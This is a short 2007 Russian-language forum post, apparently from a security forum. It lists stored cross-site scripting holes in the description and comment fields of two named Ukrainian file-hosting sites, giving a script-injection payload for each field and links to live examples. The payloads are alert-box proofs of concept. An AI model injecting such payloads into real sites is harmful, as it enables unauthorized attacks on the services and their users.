30.08.2007, 13:58
|
|
Участник форума
Регистрация: 11.05.2007
Сообщений: 149
Провел на форуме:
6373157
Репутация:
247
|
|
1. Сервис загрузки файлов на сервер http://ifile.kiev.ua/
В поле "ОПИСАНИЕ" пишем
Код:
'"/><script>alert(/xss/)</script>
Пример http://ifile.kiev.ua/download_file/618/
2. Сервис загрузки файлов на сервер http://www.sendfiles.com.ua
После загрузки файла, в описании пишем
Код:
'><script>alert(/xss/)</script>
Пример http://www.sendfiles.com.ua/24431
UPD
тут же: При добавлении коментария, пишем в поле "Отзыв"
Код:
<script>alert(/xss/)</script>
Последний раз редактировалось n3m0; 30.08.2007 в 15:51..
|
|
|